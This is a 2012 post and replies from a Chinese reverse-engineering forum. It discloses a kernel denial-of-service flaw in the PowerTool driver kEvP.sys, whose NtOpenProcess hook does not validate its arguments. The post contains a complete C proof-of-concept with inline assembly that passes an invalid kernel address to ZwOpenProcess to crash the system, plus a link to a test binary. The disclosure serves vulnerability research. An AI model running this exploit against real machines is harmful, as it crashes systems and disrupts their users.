吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 46035|回复: 43
收起左侧

[PC样本分析] PowerTool kEvP.sys<=V4.2 内核拒绝服务漏洞

  [复制链接]
hu3167343 发表于 2012-1-4 20:48
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 hu3167343 于 2012-1-4 20:51 编辑

感觉LSG区好冷清啊。。。

新年新气象,发个帖子水一下,哈哈。

百度百科:
PowerTool 一款免费强大的进程管理器,支持进程强制结束,可以Unlock占用文件的进程,查看文件/文件夹被占用的情况,内核模块和驱动的查看和管理,进程模块的内存的dump等功能。最新版还支持上传文件在线扫描病毒。支持离线的启动项和服务的检测和删除,新增注册表和服务的强删功能,可在PE系统下清除感染MBR的病毒(如鬼影等),通过Windows7 SP1的测试。

其在加载的时候,为了让不让恶意软件结束自身,而SSDT Hook了NtOpenProcess函数。但是未对Ring3传过来的参数做任何校验就直接使用了,因此,触发漏洞。

示例函数:NtOpenProcess
偏移:ED70

IDA汇编代码如下:
907a41d462d9f2d3a052eba2a9ec8a136227cc55.jpg.png
只要CID参数不为空,他就直接调用了PsLookupProcessByProcessId函数。

而PsLookupProcessByProcessId是内核函数,其自身不会对参数有任何校验:
2.jpg.png


测试代码:
/*
    作者:莫灰灰
    博客:http://hi.baidu.com/hu3167343/
    描述:PowerTool内核拒绝服务漏洞测试程序
*/


#include "stdafx.h"
#include <windows.h>

int _tmain(int argc, _TCHAR* argv[])
{
    HMODULE hMod = LoadLibrary(L"ntdll.dll");
    if (hMod)
    {
        PVOID p = GetProcAddress(hMod, "ZwOpenProcess");
        if (p)
        {
            printf("Your System Will Crash, See you nala.\n");

            __asm{
                push 0x80000000
                push 0
                push 0
                push 0
                call p
            }
        }
    }

    system("pause");
    return 0;
}


Ps:在开启PowerTool自保护的情况下运行上面程序,系统会蓝屏重启。正常机器木有问题。        

测试程序下载地址:http://dl.dbank.com/c0lx8mqzs7                        

免费评分

参与人数 1热心值 +1 收起 理由
Ftimes + 1 好东西 经典东西~!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

1046135662 发表于 2012-1-4 22:54
沙发。。嘿嘿。。。。H大发的太深奥,不太看懂。。。。
小朙 发表于 2012-1-5 02:06
yuhu521 发表于 2012-1-5 08:19
O_o 发表于 2012-1-5 10:05
push 0x80000000
有什么用? 嘛东西?
庄澄 发表于 2012-1-5 12:38
膜拜大大.....

小白飘过
索马里的海贼 发表于 2012-1-5 13:40
你随便发个帖子水一下就能弄的这么深奥, 你要认真点那还了得..
 楼主| hu3167343 发表于 2012-1-5 14:10
O_o 发表于 2012-1-5 10:05
push 0x80000000
有什么用? 嘛东西?

一个无效的内核地址,读写它就会造成系统蓝屏重启。
leisurely 发表于 2012-1-6 10:48
膜拜一下大神,不知道PT牛看到了会啥样反应~~~~
O_o 发表于 2012-1-6 14:30
hu3167343 发表于 2012-1-5 14:10
一个无效的内核地址,读写它就会造成系统蓝屏重启。

索德斯勒

点评

擦 现在流行这个词吗  发表于 2012-1-10 17:02
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-25 22:43

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表